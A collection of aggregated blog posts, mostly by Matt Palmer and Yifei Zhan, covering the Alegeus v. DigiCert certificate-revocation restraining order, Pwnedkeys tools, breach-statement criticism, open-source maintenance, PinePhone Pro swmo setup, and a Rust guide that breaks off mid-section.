    The plaintiff in the case is Alegeus Technologies, LLC, a Delaware Corporation that, according to their filings, “is a leading provider of a business-tobusiness, white-label funding and payment platform for healthcare carriers and third-party administrators to administer consumer-directed employee benefit programs”. Not being subject to the US’ bonkers health care system, I have only a passing familiarity with the sorts of things they do, but presumably it involves moving a lot of money around, which is sometimes important.

    The defendant is DigiCert, a CA which, based on analysis I’ve done previously, is the second-largest issuer of WebPKI certificates by volume.

    The History

    According to a recently opened Mozilla CA bug, DigiCert found an issue in their “domain control validation” workflow, that meant it may have been possible for a miscreant to have certificates issued to them that they weren’t legitimately entitled to. Given that validating domain names is basically the “YOU HAD ONE JOB!” of a CA, this is a big deal.

    The CA/Browser Forum Baseline Requirements (BRs) (which all CAs are required to adhere to, by virtue of their being included in various browser and OS trust stores), say that revocation is required within 24 hours when “[t]he CA obtains evidence that the validation of domain authorization or control for any Fully‐Qualified Domain Name or IP address in the Certificate should not be relied upon” (section 4.9.1.1, point 5).

    DigiCert appears to have at least tried to do the right thing, by opening the above Mozilla bug giving some details of the problem, and notifying their customers that their certificates were going to be revoked. One may quibble about how fast they’re doing it, but they’re giving it a decent shot, at least.

    A complicating factor in all this is that, only a touch over a month ago, Google Chrome announced the removal of another CA, Entrust, from its own trust store program, citing “a pattern of compliance failures, unmet improvement commitments, and the absence of tangible, measurable progress in response to publicly disclosed incident reports”. Many of these compliance failures were failures to revoke certificates in a timely manner. One imagines that DigiCert would not like to gain a reputation for tardy revocation, particularly at the moment.

    The Legal Action

    Now we come to Alegeus Technologies. They’ve opened a civil case whose first action is to request the issuance of a Temporary Restraining Order (TRO) that prevents DigiCert from revoking certificates issued to Alegeus (which the court has issued). This is a big deal, because TROs are legal instruments that, if not obeyed, constitute contempt of court (or something similar) – and courts do not like people who disregard their instructions. That means that, in the short term, those certificates aren’t getting revoked, despite the requirement imposed by root stores on DigiCert that the certificates must be revoked. DigiCert is in a real “rock / hard place” situation here: revoke and get punished by the courts, or don’t revoke and potentially (though almost certainly not, in the circumstances) face removal from trust stores (which would kill, or at least massively hurt, their business).

    The reasons that Alegeus gives for requesting the restraining order is that “[t]o Reissue and Reinstall the Security Certificates, Alegeus must work with and coordinate with its Clients, who are required to take steps to rectify the certificates. Alegeus has hundreds of such Clients. Alegeus is generally required by contract to give its clients much longer than 24 hours’ notice before executing such a change regarding certification.”

    In the filing, Alegeus does acknowledge that “DigiCert is a voluntary member of the Certification Authority Browser Forum (CABF), which has bylaws stating that certificates with an issue in their domain validation must be revoked within 24 hours.” This is a misstatement of the facts, though. It is the BRs, not the CABF bylaws, that require revocation, and the BRs apply to all CAs that wish to be included in browser and OS trust stores, not just those that are members of the CABF. In any event, given that Alegeus was aware that DigiCert is required to revoke certificates within 24 hours, one wonders why Alegeus went ahead and signed agreements with their customers that required a lengthy notice period before changing certificates.

    What complicates the situation is that there is apparently a Master Services Agreement (MSA) that states that it “constitutes the entire agreement between the parties” – and that MSA doesn’t mention certificate revocation anywhere relevant. That means that it’s not quite so cut-and-dried that DigiCert does, in fact, have the right to revoke those certificates. I’d expect a lot of “update to your Master Services Agreement” emails to be going out from DigiCert (and other CAs) in the near future to clarify this point.

    Not being a lawyer, I can’t imagine which way this case might go, but there’s one thing we can be sure of: some lawyers are going to able to afford that trip to a tropical paradise this year.

    The Security Issues

    The requirement for revocation within 24 hours is an important security control in the WebPKI ecosystem. If a certificate is misissued to a malicious party, or is otherwise compromised, it needs to be marked as untrustworthy as soon as possible. While revocation is far from perfect, it is the best tool we have.

    In this court filing, Alegeus has claimed that they are unable to switch certificates with less than 24 hours notice (due to “contractual SLAs”). This is a pretty big problem, because there are lots of reasons why a certificate might need to be switched out Very Quickly. As a practical example, someone with access to the private key for your SSL certificate might decide to use it in a blog post. Letting that sort of problem linger for an extended period of time might end up being a Pretty Big Problem of its own. An organisation that cannot respond within hours to a compromised certificate is playing chicken with their security.

    The Takeaways

    Contractual obligations that require you to notify anyone else of a certificate (or private key) changing are bonkers, and completely antithetical to the needs of the WebPKI. If you have to have them, you’re going to want to start transitioning to a private PKI, wherein you can do whatever you darn well please with revocation (or not). As these sorts of problems keep happening, trust stores (and hence CAs) are going to crack down on this sort of thing, so you may as well move sooner rather than later.

    If you are an organisation that uses WebPKI certificates, you’ve got to be able to deal with any kind of certificate revocation event within hours, not days. This basically boils down to automated issuance and lifecycle management, because having someone manually request and install certificates is terrible on many levels. There isn’t currently a completed standard for notifying subscribers if their certificates need premature renewal (say, due to needing to be revoked), but the ACME Renewal Information Extension is currently being developed to fill that need. Ask your CA if they’re tracking this standards development, and when they intend to have the extension available for use. (Pro-tip: if they say “we’ll start doing development when the RFC is published”, run for the hills; that’s not how responsible organisations work on the Internet).

    The Givings

    If you’ve found this helpful, consider shouting me a refreshing beverage. Reading through legal filings is thirsty work!

    Friday, 5 July 2024

    Yifei ZhanChange or Set PIN for FIDO2 Token on Linux

    The easiest way to change/set PIN for FIDO2 token seems to be with Chromium/Chrome:

    • Plug in the token
    • Launch Chromium, navigate to chrome://settings/securityKeys, or click Settings -> Privacy and Security -> Security -> Manage security keys
    • Click Create a PIN, if you don’t have a PIN set already, a new PIN will be created, otherwise you will be asked to change the existing pin
    • Alternatively you can also wipe the token with the Reset option

    Friday, 28 June 2024

    Matt PalmerChecking for Compromised Private Keys has Never Been Easier

    As regular readers would know, since I never stop banging on about it, I run Pwnedkeys, a service which finds and collates private keys which have been disclosed or are otherwise compromised. Until now, the only way to check if a key is compromised has been to use the Pwnedkeys API, which is not necessarily trivial for everyone.

    Starting today, that’s changing.

    The next phase of Pwnedkeys is to start offering more user-friendly tools for checking whether keys being used are compromised. These will typically be web-based or command-line tools intended to answer the question “is the key in this (certificate, CSR, authorized_keys file, TLS connection, email, etc) known to Pwnedkeys to have been compromised?”.

    Opening the Toolbox

    Available right now are the first web-based key checking tools in this arsenal. These tools allow you to:

    1. Check the key in a PEM-format X509 data structure (such as a CSR or certificate);

    2. Check the keys in an authorized_keys file you upload; and

    3. Check the SSH keys used by a user at any one of a number of widely-used code-hosting sites.

    Further planned tools include “live” checking of the certificates presented in TLS connections (for HTTPS, etc), SSH host keys, command-line utilities for checking local authorized_keys files, and many other goodies.

    If You Are Intrigued By My Ideas…

    … and wish to subscribe to my newsletter, now you can!

    I’m not going to be blogging every little update to Pwnedkeys, because that would probably get a bit tedious for readers who aren’t as intrigued by compromised keys as I am. Instead, I’ll be posting every little update in the Pwnedkeys newsletter. So, if you want to keep up-to-date with the latest and greatest news and information, subscribe to the newsletter.

    Supporting Pwnedkeys

    All this work I’m doing on my own time, and I’m paying for the infrastructure from my own pocket. If you’ve got a few dollars to spare, I’d really appreciate it if you bought me a refreshing beverage. It helps keep the lights on here at Pwnedkeys Global HQ.

    Friday, 14 June 2024

    Matt PalmerInformation Security: "We Can Do It, We Just Choose Not To"

    Whenever a large corporation disgorges the personal information of millions of people onto the Internet, there is a standard playbook that is followed.

    “Security is our top priority”.

    “Passwords were hashed”.

    “No credit card numbers were disclosed”.

    record scratch

    Let’s talk about that last one a bit.

    A Case Study

    This post could have been written any time in the past… well, decade or so, really. But the trigger for my sitting down and writing this post is the recent breach of wallet-finding and criminal-harassment-enablement platform Tile. As reported by Engadget, a statement attributed to Life360 CEO Chris Hulls says

    The potentially impacted data consists of information such as names, addresses, email addresses, phone numbers, and Tile device identification numbers.

    But don’t worry though; even though your home address is now public information

    It does not include more sensitive information, such as credit card numbers

    Aaaaaand here is where I get salty.

    Why Credit Card Numbers Don’t Matter

    Describing credit card numbers as “more sensitive information” is somewhere between disingenuous and a flat-out lie. It was probably included in the statement because it’s part of the standard playbook. Why is it part of the playbook, though?

    Not being a disaster comms specialist, I can’t say for sure, but my hunch is that the post-breach playbook includes this line because (a) credit cards are less commonly breached these days (more on that later), and (b) it’s a way to insinuate that “all your financial data is safe, no need to worry” without having to say that (because that statement would absolutely be a lie).

    The thing that not nearly enough people realise about credit card numbers is:

    1. The credit card holder is not usually liable for most fraud done via credit card numbers; and

    2. In terms of actual, long-term damage to individuals, credit card fraud barely rates a mention. Identity fraud, Business Email Compromise, extortion, and all manner of other unpleasantness is far more damaging to individuals.

    Why Credit Card Numbers Do Matter

    Losing credit card numbers in a data breach is a huge deal – but not for the users of the breached platform. Instead, it’s a problem for the company that got breached.

    See, going back some years now, there was a wave of huge credit card data breaches. If you’ve been around a while, names like Target and Heartland will bring back some memories.

    Because these breaches cost issuing banks and card brands a lot of money, the Payment Card Industry Security Standards Council (PCI-SSC) and the rest of the ecosystem went full goblin mode. Now, if you lose credit card numbers in bulk, it will cost you big. Massive fines for breaches (typically levied by the card brands via the acquiring bank), increased transaction fees, and even the Credit Card Death Penalty (being banned from charging credit cards), are all very big sticks.

    Now Comes the Finding Out

    In news that should not be surprising, when there are actual consequences for failing to do something, companies take the problem seriously. Which is why “no credit card numbers were disclosed” is such an interesting statement.

    Consider why no credit card numbers were disclosed. It’s not that credit card numbers aren’t valuable to criminals – because they are. Instead, it’s because the company took steps to properly secure the credit card data.

    Next, you’ll start to consider why, if the credit card numbers were secured, why wasn’t the personal information that did get disclosed similarly secured? Information that is far more damaging to the individuals to whom that information relates than credit card numbers.

    The only logical answer is that it wasn’t deemed financially beneficial to the company to secure that data. The consequences of disclosure for that information isn’t felt by the company which was breached. Instead, it’s felt by the individuals who have to spend weeks of their life cleaning up from identity fraud committed against them. It’s felt by the victim of intimate partner violence whose new address is found in a data dump, letting their ex find them again.

    Until there are real, actual consequences for the companies which hemorrhage our personal data (preferably ones that have “percentage of global revenue” at the end), data breaches will continue to happen. Not because they’re inevitable – because as credit card numbers show, data can be secured – but because there’s no incentive for companies to prevent our personal data from being handed over to whoever comes along.

    Support my Salt

    My salty takes are powered by refreshing beverages. If you’d like to see more of the same, buy me one.

    Thursday, 30 May 2024

    Matt PalmerGitHub's Missing Tab

    Visit any GitHub project page, and the first thing you see is something that looks like this:

    screenshot of the GitHub repository page, showing the Code, Issues, and Pull Requests tabs

    “Code”, that’s fairly innocuous, and it’s what we came here for. The “Issues” and “Pull Requests” tabs, with their count of open issues, might give us some sense of “how active” the project is, or perhaps “how maintained”. Useful information for the casual visitor, undoubtedly.

    However, there’s another user community that visits this page on the regular, and these same tabs mean something very different to them.

    I’m talking about the maintainers (or, more commonly, maintainer, singular). When they see those tabs, all they see is work. The “Code” tab is irrelevant to them – they already have the code, and know it possibly better than they know their significant other(s) (if any). “Issues” and “Pull Requests” are just things that have to be done.

    I know for myself, at least, that it is demoralising to look at a repository page and see nothing but work. I’d be surprised if it didn’t contribute in some small way to maintainers just noping the fudge out.

    A Modest Proposal

    So, here’s my thought. What if instead of the repo tabs looking like the above, they instead looked like this:

    modified screenshot of the GitHub repository page, showing a new Kudos tab, with a smiley face icon, between the Code and Issues tabs

    My conception of this is that it would, essentially, be a kind of “yearbook”, that people who used and liked the software could scribble their thoughts on. With some fairly straightforward affordances elsewhere to encourage its use, it could be a powerful way to show maintainers that they are, in fact, valued and appreciated.

    There are a number of software packages I’ve used recently, that I’d really like to say a general “thanks, this is awesome!” to. However, I’m not about to make the Issues tab look even scarier by creating an “issue” to say thanks, and digging up an email address is often surprisingly difficult, and wouldn’t be a public show of my gratitude, which I believe is a valuable part of the interaction.

    You Can’t Pay Your Rent With Kudos

    Absolutely you cannot. A means of expressing appreciation in no way replaces the pressing need to figure out a way to allow open source developers to pay their rent. Conversely, however, the need to pay open source developers doesn’t remove the need to also show those people that their work is appreciated and valued by many people around the world.

    Anyway, who knows a senior exec at GitHub? I’ve got an idea I’d like to run past them…

    Tuesday, 14 May 2024

    Matt Palmer"Is This Project Still Maintained?"

    If you wander around a lot of open source repositories on the likes of GitHub, you’ll invariably stumble over repos that have an issue (or more than one!) with a title like the above. Sometimes sitting open and unloved, often with a comment or two from the maintainer and a bunch of “I’ll help out!” followups that never seemed to pan out. Very rarely, you’ll find one that has been closed, with a happy ending.

    These issues always fascinate me, because they say a lot about what it means to “maintain” an open source project, the nature of succession (particularly in a post-Jia Tan world), and the expectations of users and the impedence mismatch between maintainers, contributors, and users. I’ve also recently been thinking about pre-empting this sort of issue, and opening my own issue that answers the question before it’s even asked.

    Why These Issues Are Created

    As both a producer and consumer of open source software, I completely understand the reasons someone might want to know whether a project is abandoned. It’s comforting to be able to believe that there’s someone “on the other end of the line”, and that if you have a problem, you can ask for help with a non-zero chance of someone answering you. There’s also a better chance that, if the maintainer is still interested in the software, that compatibility issues and at least show-stopper bugs might get fixed for you.

    But often there’s more at play. There is a delusion that “maintained” open source software comes with entitlements – an expectation that your questions, bug reports, and feature requests will be attended to in some fashion.

    This comes about, I think, in part because there are a lot of open source projects that are energetically supported, where generous volunteers do answer questions, fix reported bugs, and implement things that they don’t personally need, but which random Internet strangers ask for. If you’ve had that kind of user experience, it’s not surprising that you might start to expect it from all open source projects.

    Of course, these wonders of cooperative collaboration are the exception, rather than the rule. In many (most?) cases, there is little practical difference between most projects that are “maintained” and those that are formally declared “unmaintained”. The contributors (or, most often, contributor – singular) are unlikely to have the time or inclination to respond to your questions in a timely and effective manner. If you find a problem with the software, you’re going to be paddling your own canoe, even if the maintainer swears that they’re still “maintaining” it.

    A Thought Appears

    With this in mind, I’ve been considering how to get ahead of the problem and answer the question for the software projects I’ve put out in the world. Nothing I’ve built has anything like what you’d call a “community”; most have never seen an external PR, or even an issue. The last commit date on them might be years ago.

    By most measures, almost all of my repos look “unmaintained”. Yet, they don’t feel unmaintained to me. I’m still using the code, sometimes as often as every day, and if something broke for me, I’d fix it. Anyone who needs the functionality I’ve developed can use the code, and be pretty confident that it’ll do what it says in the README.

    I’m considering creating an issue in all my repos, titled “Is This Project Still Maintained?”, pinning it to the issues list, and pasting in something I’m starting to think of as “The Open Source Maintainer’s Manifesto”.

    It goes something like this:

    Is This Project Still Maintained?

    Yes. Maybe. Actually, perhaps no. Well, really, it depends on what you mean by “maintained”.

    I wrote the software in this repo for my own benefit – to solve the problems I had, when I had them. While I could have kept the software to myself, I instead released it publicly, under the terms of an open licence, with the hope that it might be useful to others, but with no guarantees of any kind. Thanks to the generosity of others, it costs me literally nothing for you to use, modify, and redistribute this project, so have at it!

    OK, Whatever. What About Maintenance?

    In one sense, this software is “maintained”, and always will be. I fix the bugs that annoy me, I upgrade dependencies when not doing so causes me problems, and I add features that I need. To the degree that any on-going development is happening, it’s because I want that development to happen.

    However, if “maintained” to you means responses to questions, bug fixes, upgrades, or new features, you may be somewhat disappointed. That’s not “maintenance”, that’s “support”, and if you expect support, you’ll probably want to have a “support contract”, where we come to an agreement where you pay me money, and I help you with the things you need help with.

    That Doesn’t Sound Fair!

    If it makes you feel better, there are several things you are entitled to:

    1. The ability to use, study, modify, and redistribute the contents of this repository, under the terms stated in the applicable licence(s).

    2. That any interactions you may have with myself, other contributors, and anyone else in this project’s spaces will be in line with the published Code of Conduct, and any transgressions of the Code of Conduct will be dealt with appropriately.

    3. … actually, that’s it.

    Things that you are not entitled to include an answer to your question, a fix for your bug, an implementation of your feature request, or a merge (or even review) of your pull request. Sometimes I may respond, either immediately or at some time long afterwards. You may luck out, and I’ll think “hmm, yeah, that’s an interesting thing” and I’ll work on it, but if I do that in any particular instance, it does not create an entitlement that I will continue to do so, or that I will ever do so again in the future.

    But… I’ve Found a Huge and Terrible Bug!

    You have my full and complete sympathy. It’s reasonable to assume that I haven’t come across the same bug, or at least that it doesn’t bother me, otherwise I’d have fixed it for myself.

    Feel free to report it, if only to warn other people that there is a huge bug they might need to avoid (possibly by not using the software at all). Well-written bug reports are great contributions, and I appreciate the effort you’ve put in, but the work that you’ve done on your bug report still doesn’t create any entitlement on me to fix it.

    If you really want that bug fixed, the source is available, and the licence gives you the right to modify it as you see fit. I encourage you to dig in and fix the bug. If you don’t have the necessary skills to do so yourself, you can get someone else to fix it – everyone has the same entitlements to use, study, modify, and redistribute as you do.

    You may also decide to pay me for a support contract, and get the bug fixed that way. That gets the bug fixed for everyone, and gives you the bonus warm fuzzies of contributing to the digital commons, which is always nice.

    But… My PR is a Gift!

    If you take the time and effort to make a PR, you’re doing good work and I commend you for it. However, that doesn’t mean I’ll necessarily merge it into this repository, or even work with you to get it into a state suitable for merging.

    A PR is what is often called a “gift of work”. I’ll have to make sure that, at the very least, it doesn’t make anything actively worse. That includes introducing bugs, or causing maintenance headaches in the future (which includes my getting irrationally angry at indenting, because I’m like that). Properly reviewing a PR takes me at least as much time as it would take me to write it from scratch, in almost all cases.

    So, if your PR languishes, it might not be that it’s bad, or that the project is (dum dum dummmm!) “unmaintained”, but just that I don’t accept this particular gift of work at this particular time.

    Don’t forget that the terms of licence include permission to redistribute modified versions of the code I’ve released. If you think your PR is all that and a bag of potato chips, fork away! I won’t be offended if you decide to release a permanent fork of this software, as long as you comply with the terms of the licence(s) involved.

    (Note that I do not undertake support contracts solely to review and merge PRs; that reeks a little too much of “pay to play” for my liking)

    Gee, You Sound Like an Asshole

    I prefer to think of myself as “forthright” and “plain-speaking”, but that brings to mind that third thing you’re entitled to: your opinion.

    I’ve written this out because I feel like clarifying the reality we’re living in, in the hope that it prevents misunderstandings. If what I’ve written makes you not want to use the software I’ve written, that’s fine – you’ve probably avoided future disappointment.

    Opinions Sought

    What do you think? Too harsh? Too wishy-washy? Comment away!

    Tuesday, 7 May 2024

    Yifei ZhanMore than smartphone, not yet laptop: Swmo on the PinePhone Pro

    I’ve been daily driving the PinePhone Pro with swmo for some times now, it’s not perfect but I still find it be one of the most enjoyable devices I’ve used. Probably only behind BlackBerry Q30/Passport which also has a decent keyboard and runs an unfortunately locked-down version of QNX. For me it’s less like a phone and more like a portable terminal for times when using a full size laptop is uncomfortable or impractical, and with the keyboard it’s possible to write lengthy articles on the go.

    This isn’t the only portable Linux terminal I owned, before this I used a Nokia N900 which till this day is still being maintained by the maemo leste team, but the shutdown of 3G network in where I live made it significantly less usable as a phone and since it doesn’t have a proper USB port I cannot use it as a serial console easily.

    The overall experience on the PPP now as of 2024 isn’t as polished as that of the BlackBerry Passport, and adhoc hacks are often required to get the system going, however as the ecosystem progress the experience will also improve with new revisions of hardware and better software.

    Initial Setup #

    I use sxmo and swmo interchangeably in this post, they refer to the same framework running under Xorg and wayland, the experience is pretty much the same.

    Sxmo is packaged for Debian:

    sudo apt install sway sxmo-util
    

    Allow access to LED/brightness:

    sudo usermod -aG feedbackd user
    

    Scaling Under Wayland #

    The default scaling of sxmo doesn’t allow the many desktop applications to display their window properly, especially when such application is written under the assumption of being used on a larger screen. To set the scaling to something more reasonable, add the following line to ~/.config/sxmo/sway:

    exec wlr-randr --output DSI-1 --scale 1.3
    

    When using swmo environment initialization is mostly done in ~/.config/sxmo/sway and ~/.config/sxmo/xinit is not used.

    Scaling for Firefox needs to be adjusted separately by first enabling compact UI and then set settings -> default zoom to your liking.

    Landscape Setup #

    I used lightdm as my session manager, to launch lightdm in landscape mode, change the display-setup-script line in the [Seat:*] section of /etc/lightdm/lightdm.conf to:

    display-setup-script=sh -c 'xrandr -o right; exit 0'
    

    To rotate to swmo to landscape mode on start:

    $ echo exec sxmo_rotate.sh >> ~/.config/sxmo/sway
    

    To rotate Linux framebuffer, add fbcon=rotate:1 to the U_BOOT_PARAMETERS line in /usr/share/u-boot-menu/conf.d/mobian.conf and run u-boot-update to apply.

    I also removed quiet splash from U_BOOT_PARAMETERS to disable polymouth animation as it isn’t very useful on landscape mode.

    Password-Lockable Screen #

    Swmo doesn’t come with a secure screen locker. but swaylock works fine and it can be bind to a key combination with sway’s configure file. To save some battery life, systemctl suspend can be triggered after swaylock, to bind that to Meta+L:

    # .config/sxmo/sway
    bindsym $mod+l exec 'swaylock -f -c 000000 && systemctl suspend'
    

    In suspend mode, the battery discharge at a rate of about 1% per hour, I consider this to be more than acceptable.

    To unlock from a shell, just kill swaylock.

    Before you can suspend the system as a non-root user, the following polkit rule needs to be written to /etc/polkit-1/rules.d/85-suspend.rules:

    polkit.addRule(function(action, subject) {
        if (action.id == "org.freedesktop.login1.suspend" &&
            subject.isInGroup("users")) {
            return polkit.Result.YES;
        }
    });
    

    It would be better if there can be a universal interactive user group which automatically grant such permission to the desktop/mobile user.

    Extra Keymaps #

    The default keymap for the PinePhone keyboard is missing a few useful keys, namely F11/F12 and PgUp/PgDown. To create those keys I used evremap(1) to make a custom keymap. Unfortunately the Fn key cannot be mapped as a layer switcher easily, so I opted to remap AltG and Esc as my primary modifiers.

    I’m working on a Debian package for evremap and it will be made available for Debian/Mobian soon.

    Isolate workload with incus containers #

    Incus is a container/VM manager for Linux, it’s available for Debian from bookworm/backports and is a fork of LXD by the original maintainers behind LXD. It works well for creating isolated and unprivileged containers. I have multiple incus containers on the PinePhone Pro for Debian packaging and it’s a better experience than manually creating and managing chroots. In case there is a need for running another container inside an unprivileged incus container, it’s possible to configure incus to intercept certain safe system calls and forward them to the host, removing the need for using privileged container.

    Convergence #

    Sway is decently usable in convergence mode, in which the phone is connected to a dock that outputs to an external display and keyboard and mouse are used as primary controls instead of the touchscreen.

    This isn’t surprising since sway always had great support for multi monitor, however another often overlooked convergence mode is with waypipe. In this mode another Linux machine (e.g. a laptop) can be used to interact with applications running on the phone and the phone will be kept charged by the laptop. This is particularly useful for debugging phone applications or for accessing resources on the phone (e.g. sending and receiving sms). One thing missing in this setup is that graphic applications cannot roam between the phone and the external system (e.g. move running applications from one machine to another). Xpra does this for Xorg but doesn’t work with wayland.

    Security #

    Due to the simplicity of the swmo environment it’s not too difficult to get the system running with SELinux in Enforcing mode, and I encourage everyone reading this to try it. If running debian/mobian a good starting point is the SELinux/Setup page on Debian wiki.

    Note: selinux-activate won’t add the required security=selinux kernel option to u-boot (it only deals with GRUB) so you have to manually add it to the U_BOOT_PARAMETERS line in /usr/share/u-boot-menu/conf.d/mobian.conf and run u-boot-update after selinux-activate. The file labeling process can easily take 10 minutes and the progress won’t be displayed on the framebuffer (only visible via the serial console).

    SELinux along with the reference policy aren’t enough for building a reasonably secure interactive system, but let’s leave that for a future post.

    Wednesday, 1 May 2024

    Matt PalmerThe Mediocre Programmer's Guide to Rust

    Me: “Hi everyone, my name’s Matt, and I’m a mediocre programmer.”

    Everyone: “Hi, Matt.”

    Facilitator: “Are you an alcoholic, Matt?”

    Me: “No, not since I stopped reading Twitter.”

    Facilitator: “Then I think you’re in the wrong room.”

    Yep, that’s my little secret – I’m a mediocre programmer. The definition of the word “hacker” I most closely align with is “someone who makes furniture with an axe”. I write simple, straightforward code because trying to understand complexity makes my head hurt.

    Which is why I’ve always avoided the more “academic” languages, like OCaml, Haskell, Clojure, and so on. I know they’re good languages – people far smarter than me are building amazing things with them – but the time I hear the word “endofunctor”, I’ve lost all focus (and most of my will to live). My preferred languages are the ones that come with less intellectual overhead, like C, PHP, Python, and Ruby.

    So it’s interesting that I’ve embraced Rust with significant vigour. It’s by far the most “complicated” language that I feel at least vaguely comfortable with using “in anger”. Part of that is that I’ve managed to assemble a set of principles that allow me to almost completely avoid arguing with Rust’s dreaded borrow checker, lifetimes, and all the rest of the dark, scary corners of the language. It’s also, I think, that Rust helps me to write better software, and I can feel it helping me (almost) all of the time.

    In the spirit of helping my fellow mediocre programmers to embrace Rust, I present the principles I’ve assembled so far.

    Neither a Borrower Nor a Lender Be

    If you know anything about Rust, you probably know about the dreaded “borrow checker”. It’s the thing that makes sure you don’t have two pieces of code trying to modify the same data at the same time, or using a value when it’s no longer valid.

    While Rust’s borrowing semantics allow excellent performance without compromising safety, for us mediocre programmers it gets very complicated, very quickly. So, the moment the compiler wants to start talking about “explicit lifetimes”, I shut it up by just using “owned” values instead.

    It’s not that I never borrow anything; I have some situations that I know are “borrow-safe” for the mediocre programmer (I’ll cover those later). But any time I’m not sure how things will pan out, I’ll go straight for an owned value.

    For example, if I need to store some text in a struct or enum, it’s going straight into a String. I’m not going to start thinking about lifetimes and &'a str; I’ll leave that for smarter people. Similarly, if I need a list of things, it’s a Vec<T> every time – no &'b [T] in my structs, thank you very much.

    Attack of the Clones

    Following on from the above, I’ve come to not be afraid of .clone(). I scatter them around my code like seeds in a field. Life’s too short to spend time trying to figure out who’s borrowing what from whom, if I can just give everyone their own thing.

    There are warnings in the Rust book (and everywhere else) about how a clone can be “expensive”. While it’s true that, yes, making clones of data structures consumes CPU cycles and memory, it very rarely matters. CPU cycles are (usually) plentiful and RAM (usually) relatively cheap. Mediocre programmer mental effort is expensive, and not to be spent on premature optimisation. Also, if you’re coming from most any other modern language, Rust is already giving you so much more performance that you’re probably ending up ahead of the game, even if you .clone() everything in sight.

    If, by some miracle, something I write gets so popular that the “expense” of all those spurious clones becomes a problem, it might make sense to pay someone much smarter than I to figure out how to make the program a zero-copy masterpiece of efficient code. Until then… clone early and clone often, I say!

    Derive Macros are Powerful Magicks

    If you start .clone()ing everywhere, pretty quickly you’ll be hit with this error:

    
    error[E0599]: no method named `clone` found for struct `Foo` in the current scope
    
    

    This is because not everything can be cloned, and so if you want your thing to be cloned, you need to implement the method yourself. Well… sort of.

    One of the things that I find absolutely outstanding about Rust is the “derive macro”. These allow you to put a little marker on a struct or enum, and the compiler will write a bunch of code for you! Clone is one of the available so-called “derivable traits”, so you add #[derive(Clone)] to your structs, and poof! you can .clone() to your heart’s content.

    But there are other things that are commonly useful, and so I’ve got a set of traits that basically all of my data structures derive:

    
    #[derive(Clone, Debug, Default)]
    struct Foo {
        // ...
    }
    
    

    Every time I write a struct or enum definition, that line #[derive(Clone, Debug, Default)] goes at the top.

    The Debug trait allows you to print a “debug” representation of the data structure, either with the dbg!() macro, or via the {:?} format in the format!() macro (and anywhere else that takes a format string). Being able to say “what exactly is that?” comes in handy so often, not having a Debug implementation is like programming with one arm tied behind your Aeron.

    Meanwhile, the Default trait lets you create an “empty” instance of your data structure, with all of the fields set to their own default values. This only works if all the fields themselves implement Default, but a lot of standard types do, so it’s rare that you’ll define a structure that can’t have an auto-derived Default. Enums are easily handled too, you just mark one variant as the default:

    
    #[derive(Clone, Debug, Default)]
    enum Bar {
        Something(String),
        SomethingElse(i32),
        #[default]   // <== mischief managed
        Nothing,
    }
    
    

    Borrowing is OK, Sometimes

    While I previously said that I like and usually use owned values, there are a few situations where I know I can borrow without angering the borrow checker gods, and so I’m comfortable doing it.

    The first is when I need to pass a value into a function that only needs to take a little look at the value to decide what to do. For example, if I want to know whether any values in a Vec<u32> are even, I could pass in a Vec, like this:

    
    fn main() {
        let numbers = vec![0u32, 1, 2, 3, 4, 5];
    
        if has_evens(numbers) {
            println!("EVENS!");
        }
    }
    
    fn has_evens(numbers: Vec<u32>) -> bool {
        numbers.iter().any(|n| n % 2 == 0)
    }
    
    

    Howver, this gets ugly if I’m going to use numbers later, like this:

    
    fn main() {
        let numbers = vec![0u32, 1, 2, 3, 4, 5];
    
        if has_evens(numbers) {
            println!("EVENS!");
        }
    
        // Compiler complains about "value borrowed here after move"
        println!("Sum: {}", numbers.iter().sum::<u32>());
    }
    
    fn has_evens(numbers: Vec<u32>) -> bool {
        numbers.iter().any(|n| n % 2 == 0)
    }
    
    

    Helpfully, the compiler will suggest I use my old standby, .clone(), to fix this problem. But I know that the borrow checker won’t have a problem with lending that Vec<u32> into has_evens() as a borrowed slice, &[u32], like this:

    
    fn main() {
        let numbers = vec![0u32, 1, 2, 3, 4, 5];
    
        if has_evens(&numbers) {
            println!("EVENS!");
        }
    }
    
    fn has_evens(numbers: &[u32]) -> bool {
        numbers.iter().any(|n| n % 2 == 0)
    }
    
    

    The general rule I’ve got is that if I can take advantage of lifetime elision (a fancy term meaning “the compiler can figure it out”), I’m probably OK. In less fancy terms, as long as the compiler doesn’t tell me to put 'a anywhere, I’m in the green. On the other hand, the moment the compiler starts using the words “explicit lifetime”, I nope the heck out of there and start cloning everything in sight.

    Another example of using lifetime elision is when I’m returning the value of a field from a struct or enum. In that case, I can usually get away with returning a borrowed value, knowing that the caller will probably just be taking a peek at that value, and throwing it away before the struct itself goes out of scope. For example:

    
    struct Foo {
        id: u32,
        desc: String,
    }
    
    impl Foo {
        fn description(&self) -> &str {
            &self.desc
        }
    }
    
    

    Returning a reference from a function is practically always a mortal sin for mediocre programmers, but returning one from a struct method is often OK. In the rare case that the caller does want the reference I return to live for longer, they can always turn it into an owned value themselves, by calling .to_owned().

    Avoid the String Tangle

    Rust has a couple of different types for representing strings – String and &str being the ones you see most often. There are good reasons for this, however it complicates method signatures when you just want to take some sort of “bunch of text”, and don’t care so much about the messy details.

    For example, let’s say we have a function that wants to see if the length of the string is even. Using the logic that since we’re just taking a peek at the value passed in, our function might take a string reference, &str, like this:

    
    fn is_even_length(s: &str) -> bool {
        s.len() % 2 == 0
    }
    
    

    That seems to work fine, until someone wants to check a formatted string:

    
    fn main() {
        // The compiler complains about "expected `&str`, found `String`"
        if is_even_length(format!("my string is {}", std::env::args().next().unwrap())) {
            println!("Even length string");
        }
    }
    
    

    Since format! returns an owned string, String, rather than a string reference, &str, we’ve got a problem. Of course, it’s straightforward to turn the String from format!() into a &str (just prefix it with an &). But as mediocre programmers, we can’t be expected to remember which sort of string all our functions take and add & wherever it’s needed, and having to fix everything when the compiler complains is tedious.

    The converse can also happen: a method that wants an owned String, and we’ve got a &str (say, because we’re passing in a string literal, like "Hello, world!"). In this case, we need to use one of the plethora of available “turn this into a String” mechanisms (.to_string(), .to_owned(), String::from(), and probably a few others I’ve forgotten), on the value before we pass it in, which gets ugly real fast.

    For these reasons, I never take a String or an &str as an argument. Instead, I use the Power of Traits to let callers pass in anything that is, or can be turned into, a string. Let us have some examples.

    First off, if I would normally use &str as the type, I instead use impl AsRef<str>:

    
    fn is_even_length(s: impl AsRef<str>) -> bool {
        s.as_ref().len() % 2 == 0
    }
    
    

    Note that I had to throw in an extra as_ref() call in there, but now I can call this with either a String or a &str and get an answer.

